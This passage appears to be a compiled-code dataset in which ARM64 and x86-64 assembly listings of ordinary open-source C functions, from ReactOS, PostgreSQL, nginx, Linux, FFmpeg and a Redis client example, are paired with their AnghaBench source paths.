movl (%rax), %edi leaq _go_home.wszSubKey(%rip), %rsi leaq -28(%rbp), %rdx callq _RegOpenKeyW movq %rax, -40(%rbp) movq -40(%rbp), %rax movq _ERROR_SUCCESS@GOTPCREL(%rip), %rcx cmpq (%rcx), %rax je LBB0_2 ## %bb.1: movq -24(%rbp), %rdi leaq _go_home.wszAboutBlank(%rip), %rsi xorl %eax, %eax movl %eax, %r9d movq %r9, %rdx movq %r9, %rcx movq %r9, %r8 callq _navigate_url movl %eax, -12(%rbp) movl $1, -76(%rbp) jmp LBB0_6 LBB0_2: movq -88(%rbp), %rax ## 8-byte Reload movq -96(%rbp), %rcx ## 8-byte Reload movq %rcx, -56(%rbp) movl -28(%rbp), %edi movl %eax, %r8d leaq _go_home.wszStartPage(%rip), %rsi xorl %eax, %eax movl %eax, %edx leaq -48(%rbp), %rcx leaq -56(%rbp), %r9 callq _RegQueryValueExW movq %rax, -40(%rbp) movl -28(%rbp), %edi callq _RegCloseKey movq -40(%rbp), %rax movq _ERROR_SUCCESS@GOTPCREL(%rip), %rcx cmpq (%rcx), %rax jne LBB0_4 ## %bb.3: movq -48(%rbp), %rax movq _REG_SZ@GOTPCREL(%rip), %rcx cmpq (%rcx), %rax je LBB0_5 LBB0_4: movq -24(%rbp), %rdi leaq _go_home.wszAboutBlank(%rip), %rsi xorl %eax, %eax movl %eax, %r9d movq %r9, %rdx movq %r9, %rcx movq %r9, %r8 callq _navigate_url movl %eax, -12(%rbp) movl $1, -76(%rbp) jmp LBB0_6 LBB0_5: movq -88(%rbp), %rsi ## 8-byte Reload movq -24(%rbp), %rdi xorl %eax, %eax movl %eax, %r9d movq %r9, %rdx movq %r9, %rcx movq %r9, %r8 callq _navigate_url movl %eax, -12(%rbp) movl $1, -76(%rbp) LBB0_6: movq -64(%rbp), %rax movq %rax, %rsp movl -12(%rbp), %eax movl %eax, -100(%rbp) ## 4-byte Spill movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq -8(%rbp), %rcx cmpq %rcx, %rax jne LBB0_8 ## %bb.7: movl -100(%rbp), %eax ## 4-byte Reload movq %rbp, %rsp popq %rbp retq LBB0_8: callq ___stack_chk_fail ud2 .cfi_endproc ## -- End function .comm _MAX_PATH,4,2 ## @MAX_PATH .section __TEXT,__const _go_home.wszAboutBlank: ## @go_home.wszAboutBlank .asciz "about:blank" _go_home.wszStartPage: ## @go_home.wszStartPage .asciz "Start Page" .p2align 4 ## @go_home.wszSubKey _go_home.wszSubKey: .asciz "Software\\Microsoft\\Internet Explorer\\Main" .comm _HKEY_CURRENT_USER,4,2 ## @HKEY_CURRENT_USER .comm _ERROR_SUCCESS,8,3 ## @ERROR_SUCCESS .comm _REG_SZ,8,3 ## @REG_SZ .subsections_via_symbols
AnghaBench/reactos/dll/win32/ieframe/extr_navigate.c_go_home.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _gin_xlog_cleanup ; -- Begin function gin_xlog_cleanup .p2align 2 _gin_xlog_cleanup: ; @gin_xlog_cleanup .cfi_startproc ; %bb.0: sub sp, sp, #32 .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 adrp x8, _opCtx@GOTPAGE ldr x8, [x8, _opCtx@GOTPAGEOFF] str x8, [sp, #8] ; 8-byte Folded Spill ldr x0, [x8] bl _MemoryContextDelete ldr x8, [sp, #8] ; 8-byte Folded Reload ; kill: def $x9 killed $xzr str xzr, [x8] ldp x29, x30, [sp, #16] ; 16-byte Folded Reload add sp, sp, #32 ret .cfi_endproc ; -- End function .comm _opCtx,8,3 ; @opCtx .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _gin_xlog_cleanup ## -- Begin function gin_xlog_cleanup .p2align 4, 0x90 _gin_xlog_cleanup: ## @gin_xlog_cleanup .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp movq _opCtx@GOTPCREL(%rip), %rax movq (%rax), %rdi callq _MemoryContextDelete movq _opCtx@GOTPCREL(%rip), %rax movq $0, (%rax) popq %rbp retq .cfi_endproc ## -- End function .comm _opCtx,8,3 ## @opCtx .subsections_via_symbols
AnghaBench/postgres/src/backend/access/gin/extr_ginxlog.c_gin_xlog_cleanup.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function ngx_http_upstream_process_vary _ngx_http_upstream_process_vary: ; @ngx_http_upstream_process_vary .cfi_startproc ; %bb.0: sub sp, sp, #32 .cfi_def_cfa_offset 32 str x0, [sp, #24] str x1, [sp, #16] str w2, [sp, #12] ldr x8, [sp, #24] ldr x8, [x8, #8] str x8, [sp] ldr x8, [sp, #16] ldr x9, [sp] str x8, [x9, #16] adrp x8, _NGX_OK@GOTPAGE ldr x8, [x8, _NGX_OK@GOTPAGEOFF] ldr w0, [x8] add sp, sp, #32 ret .cfi_endproc ; -- End function .comm _NGX_OK,4,2 ; @NGX_OK .comm _NGX_HTTP_CACHE_VARY_LEN,4,2 ; @NGX_HTTP_CACHE_VARY_LEN .comm _NGX_HTTP_UPSTREAM_IGN_VARY,4,2 ; @NGX_HTTP_UPSTREAM_IGN_VARY .no_dead_strip _ngx_http_upstream_process_vary .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function ngx_http_upstream_process_vary _ngx_http_upstream_process_vary: ## @ngx_http_upstream_process_vary .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp movq %rdi, -8(%rbp) movq %rsi, -16(%rbp) movl %edx, -20(%rbp) movq -8(%rbp), %rax movq 8(%rax), %rax movq %rax, -32(%rbp) movq -16(%rbp), %rcx movq -32(%rbp), %rax movq %rcx, 16(%rax) movq _NGX_OK@GOTPCREL(%rip), %rax movl (%rax), %eax popq %rbp retq .cfi_endproc ## -- End function .comm _NGX_OK,4,2 ## @NGX_OK .comm _NGX_HTTP_CACHE_VARY_LEN,4,2 ## @NGX_HTTP_CACHE_VARY_LEN .comm _NGX_HTTP_UPSTREAM_IGN_VARY,4,2 ## @NGX_HTTP_UPSTREAM_IGN_VARY .no_dead_strip _ngx_http_upstream_process_vary .subsections_via_symbols
AnghaBench/nginx/src/http/extr_ngx_http_upstream.c_ngx_http_upstream_process_vary.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _dm_sm_metadata_init ; -- Begin function dm_sm_metadata_init .p2align 2 _dm_sm_metadata_init: ; @dm_sm_metadata_init .cfi_startproc ; %bb.0: sub sp, sp, #32 .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 adrp x8, _GFP_KERNEL@GOTPAGE ldr x8, [x8, _GFP_KERNEL@GOTPAGEOFF] ldr w1, [x8] mov w0, #4 bl _kmalloc str x0, [sp] ldr x8, [sp] subs x8, x8, #0 cset w8, ne tbnz w8, #0, LBB0_2 b LBB0_1 LBB0_1: adrp x8, _ENOMEM@GOTPAGE ldr x8, [x8, _ENOMEM@GOTPAGEOFF] ldr w9, [x8] mov w8, #0 subs w0, w8, w9 bl _ERR_PTR str x0, [sp, #8] b LBB0_3 LBB0_2: ldr x0, [sp] adrp x1, _ops@GOTPAGE ldr x1, [x1, _ops@GOTPAGEOFF] mov w2, #4 bl _memcpy ldr x8, [sp] str x8, [sp, #8] b LBB0_3 LBB0_3: ldr x0, [sp, #8] ldp x29, x30, [sp, #16] ; 16-byte Folded Reload add sp, sp, #32 ret .cfi_endproc ; -- End function .comm _GFP_KERNEL,4,2 ; @GFP_KERNEL .comm _ENOMEM,4,2 ; @ENOMEM .comm _ops,4,2 ; @ops .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _dm_sm_metadata_init ## -- Begin function dm_sm_metadata_init .p2align 4, 0x90 _dm_sm_metadata_init: ## @dm_sm_metadata_init .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp movq _GFP_KERNEL@GOTPCREL(%rip), %rax movl (%rax), %esi movl $4, %edi callq _kmalloc movq %rax, -16(%rbp) cmpq $0, -16(%rbp) jne LBB0_2 ## %bb.1: xorl %edi, %edi movq _ENOMEM@GOTPCREL(%rip), %rax subl (%rax), %edi callq _ERR_PTR movq %rax, -8(%rbp) jmp LBB0_3 LBB0_2: movq -16(%rbp), %rdi movq _ops@GOTPCREL(%rip), %rsi movl $4, %edx callq _memcpy movq -16(%rbp), %rax movq %rax, -8(%rbp) LBB0_3: movq -8(%rbp), %rax addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .comm _GFP_KERNEL,4,2 ## @GFP_KERNEL .comm _ENOMEM,4,2 ## @ENOMEM .comm _ops,4,2 ## @ops .subsections_via_symbols
AnghaBench/linux/drivers/md/persistent-data/extr_dm-space-map-metadata.c_dm_sm_metadata_init.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _kvm_cpu_has_pending_timer ; -- Begin function kvm_cpu_has_pending_timer .p2align 2 _kvm_cpu_has_pending_timer: ; @kvm_cpu_has_pending_timer .cfi_startproc ; %bb.0: sub sp, sp, #32 .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 str x0, [sp, #8] ldr x0, [sp, #8] bl _kvm_mips_pending_timer subs x8, x0, #0 cset w8, ne mov w9, #1 str w9, [sp, #4] ; 4-byte Folded Spill tbnz w8, #0, LBB0_2 b LBB0_1 LBB0_1: ldr x8, [sp, #8] ldr w0, [x8] bl _kvm_read_c0_guest_cause adrp x8, _C_TI@GOTPAGE ldr x8, [x8, _C_TI@GOTPAGEOFF] ldr w8, [x8] ands w8, w0, w8 cset w8, ne str w8, [sp, #4] ; 4-byte Folded Spill b LBB0_2 LBB0_2: ldr w8, [sp, #4] ; 4-byte Folded Reload and w0, w8, #0x1 ldp x29, x30, [sp, #16] ; 16-byte Folded Reload add sp, sp, #32 ret .cfi_endproc ; -- End function .comm _C_TI,4,2 ; @C_TI .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _kvm_cpu_has_pending_timer ## -- Begin function kvm_cpu_has_pending_timer .p2align 4, 0x90 _kvm_cpu_has_pending_timer: ## @kvm_cpu_has_pending_timer .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp movq %rdi, -8(%rbp) movq -8(%rbp), %rdi callq _kvm_mips_pending_timer movq %rax, %rcx movb $1, %al cmpq $0, %rcx movb %al, -9(%rbp) ## 1-byte Spill jne LBB0_2 ## %bb.1: movq -8(%rbp), %rax movl (%rax), %edi callq _kvm_read_c0_guest_cause movq _C_TI@GOTPCREL(%rip), %rcx andl (%rcx), %eax cmpl $0, %eax setne %al movb %al, -9(%rbp) ## 1-byte Spill LBB0_2: movb -9(%rbp), %al ## 1-byte Reload andb $1, %al movzbl %al, %eax addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .comm _C_TI,4,2 ## @C_TI .subsections_via_symbols
AnghaBench/linux/arch/mips/kvm/extr_mips.c_kvm_cpu_has_pending_timer.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _rpcs_flush_packet ; -- Begin function rpcs_flush_packet .p2align 2 _rpcs_flush_packet: ; @rpcs_flush_packet .cfi_startproc ; %bb.0: sub sp, sp, #32 .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 str x0, [sp, #8] ldr x0, [sp, #8] bl _flush_connection_output ldp x29, x30, [sp, #16] ; 16-byte Folded Reload add sp, sp, #32 ret .cfi_endproc ; -- End function .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _rpcs_flush_packet ## -- Begin function rpcs_flush_packet .p2align 4, 0x90 _rpcs_flush_packet: ## @rpcs_flush_packet .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp movq %rdi, -8(%rbp) movq -8(%rbp), %rdi callq _flush_connection_output addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .subsections_via_symbols
AnghaBench/kphp-kdb/net/extr_net-rpc-server.c_rpcs_flush_packet.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _ff_vp8_v_loop_filter8uv_inner_msa ; -- Begin function ff_vp8_v_loop_filter8uv_inner_msa .p2align 2 _ff_vp8_v_loop_filter8uv_inner_msa: ; @ff_vp8_v_loop_filter8uv_inner_msa .cfi_startproc ; %bb.0: sub sp, sp, #400 .cfi_def_cfa_offset 400 stp x28, x27, [sp, #368] ; 16-byte Folded Spill stp x29, x30, [sp, #384] ; 16-byte Folded Spill add x29, sp, #384 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w27, -24 .cfi_offset w28, -32 stur x0, [x29, #-24] stur x1, [x29, #-32] stur w2, [x29, #-36] stur w3, [x29, #-40] stur w4, [x29, #-44] stur w5, [x29, #-48] ldur w0, [x29, #-48] bl ___msa_fill_b stur x0, [x29, #-160] ldur w0, [x29, #-44] bl ___msa_fill_b stur x0, [x29, #-168] ldur w0, [x29, #-40] bl ___msa_fill_b stur x0, [x29, #-176] ldur x8, [x29, #-24] ldur w9, [x29, #-36] lsl w10, w9, #2 mov x9, #0 str x9, [sp, #56] ; 8-byte Folded Spill subs x9, x9, w10, sxtw add x8, x8, x9, lsl #2 stur x8, [x29, #-24] ldur x0, [x29, #-24] ldur w1, [x29, #-36] ldur x2, [x29, #-184] ldr x3, [sp, #192] ldr x4, [sp, #184] ldr x5, [sp, #176] ldr x6, [sp, #144] ldr x7, [sp, #152] ldr x10, [sp, #160] ldr x8, [sp, #168] mov x9, sp str x10, [x9] str x8, [x9, #8] bl _LD_UB8 ldr x9, [sp, #56] ; 8-byte Folded Reload ldur w10, [x29, #-36] mov w8, #5 str w8, [sp, #68] ; 4-byte Folded Spill mul w10, w8, w10 ldur x8, [x29, #-24] add x8, x8, w10, sxtw #2 stur x8, [x29, #-24] ldur x8, [x29, #-32] ldur w10, [x29, #-36] lsl w10, w10, #2 subs x9, x9, w10, sxtw add x8, x8, x9, lsl #2 stur x8, [x29, #-32] ldur x0, [x29, #-32] ldur w1, [x29, #-36] ldr x2, [sp, #136] ldr x3, [sp, #128] ldr x4, [sp, #120] ldr x5, [sp, #112] ldr x6, [sp, #80] ldr x7, [sp, #88] ldr x10, [sp, #96] ldr x8, [sp, #104] mov x9, sp str x10, [x9] str x8, [x9, #8] bl _LD_UB8 ldr w8, [sp, #68] ; 4-byte Folded Reload ldur w9, [x29, #-36] mul w9, w8, w9 ldur x8, [x29, #-32] add x8, x8, w9, sxtw #2 stur x8, [x29, #-32] ldr x0, [sp, #136] ldur x1, [x29, #-184] ldr x2, [sp, #128] ldr x3, [sp, #192] ldr x4, [sp, #120] ldr x5, [sp, #184] ldr x6, [sp, #112] ldr x7, [sp, #176] ldur x12, [x29, #-72] ldur x11, [x29, #-80] ldur x10, [x29, #-88] ldur x8, [x29, #-96] mov x9, sp str x12, [x9] str x11, [x9, #8] str x10, [x9, #16] str x8, [x9, #24] bl _ILVR_D4_UB ldr x0, [sp, #80] ldr x1, [sp, #144] ldr x2, [sp, #88] ldr x3, [sp, #152] ldr x4, [sp, #96] ldr x5, [sp, #160] ldr x6, [sp, #104] ldr x7, [sp, #168] ldur x12, [x29, #-128] ldur x11, [x29, #-120] ldur x10, [x29, #-112] ldur x8, [x29, #-104] mov x9, sp str x12, [x9] str x11, [x9, #8] str x10, [x9, #16] str x8, [x9, #24] bl _ILVR_D4_UB ldur x0, [x29, #-72] ldur x1, [x29, #-80] ldur x2, [x29, #-88] ldur x3, [x29, #-96] ldur x4, [x29, #-128] ldur x5, [x29, #-120] ldur x6, [x29, #-112] ldur x7, [x29, #-104] ldur x14, [x29, #-168] ldur x13, [x29, #-176] ldur x12, [x29, #-160] ldur x11, [x29, #-144] ldur x10, [x29, #-136] ldur x8, [x29, #-152] mov x9, sp str x14, [x9] str x13, [x9, #8] str x12, [x9, #16] str x11, [x9, #24] str x10, [x9, #32] str x8, [x9, #40] bl _LPF_MASK_HEV ldur x0, [x29, #-88] ldur x1, [x29, #-96] ldur x2, [x29, #-128] ldur x3, [x29, #-120] ldur x4, [x29, #-136] ldur x5, [x29, #-144] bl _VP8_LPF_FILTER4_4W ldur x8, [x29, #-88] mov x0, x8 mov w1, #0 str w1, [sp, #76] ; 4-byte Folded Spill bl ___msa_copy_u_d ldr w1, [sp, #76] ; 4-byte Folded Reload stur w0, [x29, #-52] ldur x8, [x29, #-96] mov x0, x8 bl ___msa_copy_u_d ldr w1, [sp, #76] ; 4-byte Folded Reload stur w0, [x29, #-56] ldur x8, [x29, #-128] mov x0, x8 bl ___msa_copy_u_d ldr w1, [sp, #76] ; 4-byte Folded Reload stur w0, [x29, #-60] ldur x8, [x29, #-120] mov x0, x8 bl ___msa_copy_u_d ldr w8, [sp, #76] ; 4-byte Folded Reload stur w0, [x29, #-64] ldur w0, [x29, #-64] ldur w1, [x29, #-60] ldur w2, [x29, #-56] ldur w3, [x29, #-52] ldur x4, [x29, #-24] ldur w9, [x29, #-36] subs w5, w8, w9 bl _SD4 ldur x8, [x29, #-88] mov x0, x8 mov w1, #1 str w1, [sp, #72] ; 4-byte Folded Spill bl ___msa_copy_u_d ldr w1, [sp, #72] ; 4-byte Folded Reload stur w0, [x29, #-52] ldur x8, [x29, #-96] mov x0, x8 bl ___msa_copy_u_d ldr w1, [sp, #72] ; 4-byte Folded Reload stur w0, [x29, #-56] ldur x8, [x29, #-128] mov x0, x8 bl ___msa_copy_u_d ldr w1, [sp, #72] ; 4-byte Folded Reload stur w0, [x29, #-60] ldur x8, [x29, #-120] mov x0, x8 bl ___msa_copy_u_d ldr w8, [sp, #76] ; 4-byte Folded Reload stur w0, [x29, #-64] ldur w0, [x29, #-64] ldur w1, [x29, #-60] ldur w2, [x29, #-56] ldur w3, [x29, #-52] ldur x4, [x29, #-32] ldur w9, [x29, #-36] subs w5, w8, w9 bl _SD4 ldp x29, x30, [sp, #384] ; 16-byte Folded Reload ldp x28, x27, [sp, #368] ; 16-byte Folded Reload add sp, sp, #400 ret .cfi_endproc ; -- End function .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _ff_vp8_v_loop_filter8uv_inner_msa ## -- Begin function ff_vp8_v_loop_filter8uv_inner_msa .p2align 4, 0x90 _ff_vp8_v_loop_filter8uv_inner_msa: ## @ff_vp8_v_loop_filter8uv_inner_msa .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx subq $360, %rsp ## imm = 0x168 .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq %rdi, -48(%rbp) movq %rsi, -56(%rbp) movl %edx, -60(%rbp) movl %ecx, -64(%rbp) movl %r8d, -68(%rbp) movl %r9d, -72(%rbp) movl -72(%rbp), %edi callq ___msa_fill_b movq %rax, -184(%rbp) movl -68(%rbp), %edi callq ___msa_fill_b movq %rax, -192(%rbp) movl -64(%rbp), %edi callq ___msa_fill_b movq %rax, -200(%rbp) movq -48(%rbp), %rax movl -60(%rbp), %ecx shll $2, %ecx movslq %ecx, %rdx xorl %ecx, %ecx ## kill: def $rcx killed $ecx subq %rdx, %rcx shlq $2, %rcx addq %rcx, %rax movq %rax, -48(%rbp) movq -48(%rbp), %rdi movl -60(%rbp), %esi movq -208(%rbp), %rdx movq -216(%rbp), %rcx movq -224(%rbp), %r8 movq -232(%rbp), %r9 movq -264(%rbp), %rbx movq -256(%rbp), %r11 movq -248(%rbp), %r10 movq -240(%rbp), %rax movq %rbx, (%rsp) movq %r11, 8(%rsp) movq %r10, 16(%rsp) movq %rax, 24(%rsp) callq _LD_UB8 imull $5, -60(%rbp), %ecx movq -48(%rbp), %rax movslq %ecx, %rcx shlq $2, %rcx addq %rcx, %rax movq %rax, -48(%rbp) movq -56(%rbp), %rax movl -60(%rbp), %ecx shll $2, %ecx movslq %ecx, %rdx xorl %ecx, %ecx ## kill: def $rcx killed $ecx subq %rdx, %rcx shlq $2, %rcx addq %rcx, %rax movq %rax, -56(%rbp) movq -56(%rbp), %rdi movl -60(%rbp), %esi movq -272(%rbp), %rdx movq -280(%rbp), %rcx movq -288(%rbp), %r8 movq -296(%rbp), %r9 movq -328(%rbp), %rbx movq -320(%rbp), %r11 movq -312(%rbp), %r10 movq -304(%rbp), %rax movq %rbx, (%rsp) movq %r11, 8(%rsp) movq %r10, 16(%rsp) movq %rax, 24(%rsp) callq _LD_UB8 imull $5, -60(%rbp), %ecx movq -56(%rbp), %rax movslq %ecx, %rcx shlq $2, %rcx addq %rcx, %rax movq %rax, -56(%rbp) movq -272(%rbp), %rdi movq -208(%rbp), %rsi movq -280(%rbp), %rdx movq -216(%rbp), %rcx movq -288(%rbp), %r8 movq -224(%rbp), %r9 movq -296(%rbp), %r15 movq -232(%rbp), %r14 movq -96(%rbp), %rbx movq -104(%rbp), %r11 movq -112(%rbp), %r10 movq -120(%rbp), %rax movq %r15, (%rsp) movq %r14, 8(%rsp) movq %rbx, 16(%rsp) movq %r11, 24(%rsp) movq %r10, 32(%rsp) movq %rax, 40(%rsp) callq _ILVR_D4_UB movq -328(%rbp), %rdi movq -264(%rbp), %rsi movq -320(%rbp), %rdx movq -256(%rbp), %rcx movq -312(%rbp), %r8 movq -248(%rbp), %r9 movq -304(%rbp), %r15 movq -240(%rbp), %r14 movq -152(%rbp), %rbx movq -144(%rbp), %r11 movq -136(%rbp), %r10 movq -128(%rbp), %rax movq %r15, (%rsp) movq %r14, 8(%rsp) movq %rbx, 16(%rsp) movq %r11, 24(%rsp) movq %r10, 32(%rsp) movq %rax, 40(%rsp) callq _ILVR_D4_UB movq -96(%rbp), %rdi movq -104(%rbp), %rsi movq -112(%rbp), %rdx movq -120(%rbp), %rcx movq -152(%rbp), %r8 movq -144(%rbp), %r9 movq -136(%rbp), %r13 movq -128(%rbp), %r12 movq -192(%rbp), %r15 movq -200(%rbp), %r14 movq -184(%rbp), %rbx movq -168(%rbp), %r11 movq -160(%rbp), %r10 movq -176(%rbp), %rax movq %r13, (%rsp) movq %r12, 8(%rsp) movq %r15, 16(%rsp) movq %r14, 24(%rsp) movq %rbx, 32(%rsp) movq %r11, 40(%rsp) movq %r10, 48(%rsp) movq %rax, 56(%rsp) callq _LPF_MASK_HEV movq -112(%rbp), %rdi movq -120(%rbp), %rsi movq -152(%rbp), %rdx movq -144(%rbp), %rcx movq -160(%rbp), %r8 movq -168(%rbp), %r9 callq _VP8_LPF_FILTER4_4W movq -112(%rbp), %rax movl %eax, %edi xorl %esi, %esi callq ___msa_copy_u_d movl %eax, -76(%rbp) movq -120(%rbp), %rax movl %eax, %edi xorl %esi, %esi callq ___msa_copy_u_d movl %eax, -80(%rbp) movq -152(%rbp), %rax movl %eax, %edi xorl %esi, %esi callq ___msa_copy_u_d movl %eax, -84(%rbp) movq -144(%rbp), %rax movl %eax, %edi xorl %esi, %esi callq ___msa_copy_u_d movl %eax, -88(%rbp) movl -88(%rbp), %edi movl -84(%rbp), %esi movl -80(%rbp), %edx movl -76(%rbp), %ecx movq -48(%rbp), %r8 xorl %r9d, %r9d subl -60(%rbp), %r9d callq _SD4 movq -112(%rbp), %rax movl %eax, %edi movl $1, %esi callq ___msa_copy_u_d movl %eax, -76(%rbp) movq -120(%rbp), %rax movl %eax, %edi movl $1, %esi callq ___msa_copy_u_d movl %eax, -80(%rbp) movq -152(%rbp), %rax movl %eax, %edi movl $1, %esi callq ___msa_copy_u_d movl %eax, -84(%rbp) movq -144(%rbp), %rax movl %eax, %edi movl $1, %esi callq ___msa_copy_u_d movl %eax, -88(%rbp) movl -88(%rbp), %edi movl -84(%rbp), %esi movl -80(%rbp), %edx movl -76(%rbp), %ecx movq -56(%rbp), %r8 xorl %r9d, %r9d subl -60(%rbp), %r9d callq _SD4 addq $360, %rsp ## imm = 0x168 popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq .cfi_endproc ## -- End function .subsections_via_symbols
AnghaBench/FFmpeg/libavcodec/mips/extr_vp8_lpf_msa.c_ff_vp8_v_loop_filter8uv_inner_msa.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ; -- Begin function main .p2align 2 _main: ; @main .cfi_startproc ; %bb.0: sub sp, sp, #80 .cfi_def_cfa_offset 80 stp x29, x30, [sp, #64] ; 16-byte Folded Spill add x29, sp, #64 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 adrp x8, _loop@GOTPAGE ldr x8, [x8, _loop@GOTPAGEOFF] str x8, [sp, #32] ; 8-byte Folded Spill stur wzr, [x29, #-4] stur w0, [x29, #-8] stur x1, [x29, #-16] adrp x8, _SIGPIPE@GOTPAGE ldr x8, [x8, _SIGPIPE@GOTPAGEOFF] ldr w0, [x8] adrp x8, _SIG_IGN@GOTPAGE ldr x8, [x8, _SIG_IGN@GOTPAGEOFF] ldr w1, [x8] bl _signal adrp x0, l_.str@PAGE add x0, x0, l_.str@PAGEOFF mov w1, #6379 bl _redisAsyncConnect stur x0, [x29, #-24] ldur x8, [x29, #-24] ldr x8, [x8, #8] subs x8, x8, #0 cset w8, eq tbnz w8, #0, LBB0_2 b LBB0_1 LBB0_1: ldur x8, [x29, #-24] ldr x1, [x8] adrp x0, l_.str.1@PAGE add x0, x0, l_.str.1@PAGEOFF bl _printf mov w8, #1 stur w8, [x29, #-4] b LBB0_3 LBB0_2: mov w0, #64 bl _aeCreateEventLoop ldr x8, [sp, #32] ; 8-byte Folded Reload str w0, [x8] ldr w0, [x8] ldur x1, [x29, #-24] bl _redisAeAttach ldur x0, [x29, #-24] adrp x8, _connectCallback@GOTPAGE ldr x8, [x8, _connectCallback@GOTPAGEOFF] ldr w1, [x8] bl _redisAsyncSetConnectCallback ldur x0, [x29, #-24] adrp x8, _disconnectCallback@GOTPAGE ldr x8, [x8, _disconnectCallback@GOTPAGEOFF] ldr w1, [x8] bl _redisAsyncSetDisconnectCallback ldur x8, [x29, #-24] str x8, [sp, #24] ; 8-byte Folded Spill ldur x8, [x29, #-16] ldur w9, [x29, #-8] subs w9, w9, #1 ldr x8, [x8, w9, sxtw #3] str x8, [sp, #16] ; 8-byte Folded Spill ldur x8, [x29, #-16] ldur w9, [x29, #-8] subs w9, w9, #1 ldr x0, [x8, w9, sxtw #3] bl _strlen ldr x8, [sp, #16] ; 8-byte Folded Reload mov x10, x0 ldr x0, [sp, #24] ; 8-byte Folded Reload mov x9, sp str x8, [x9] ; implicit-def: $x8 mov x8, x10 str x8, [x9, #8] mov w1, #0 mov x2, #0 adrp x3, l_.str.2@PAGE add x3, x3, l_.str.2@PAGEOFF bl _redisAsyncCommand ldur x0, [x29, #-24] adrp x8, _getCallback@GOTPAGE ldr x8, [x8, _getCallback@GOTPAGEOFF] ldr w1, [x8] adrp x2, l_.str.3@PAGE add x2, x2, l_.str.3@PAGEOFF adrp x3, l_.str.4@PAGE add x3, x3, l_.str.4@PAGEOFF bl _redisAsyncCommand ldr x8, [sp, #32] ; 8-byte Folded Reload ldr w0, [x8] bl _aeMain stur wzr, [x29, #-4] b LBB0_3 LBB0_3: ldur w0, [x29, #-4] ldp x29, x30, [sp, #64] ; 16-byte Folded Reload add sp, sp, #80 ret .cfi_endproc ; -- End function .comm _SIGPIPE,4,2 ; @SIGPIPE .comm _SIG_IGN,4,2 ; @SIG_IGN .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "127.0.0.1" l_.str.1: ; @.str.1 .asciz "Error: %s\n" .comm _loop,4,2 ; @loop .comm _connectCallback,4,2 ; @connectCallback .comm _disconnectCallback,4,2 ; @disconnectCallback l_.str.2: ; @.str.2 .asciz "SET key %b" .comm _getCallback,4,2 ; @getCallback l_.str.3: ; @.str.3 .asciz "end-1" l_.str.4: ; @.str.4 .asciz "GET key" .subsections_via_symbols
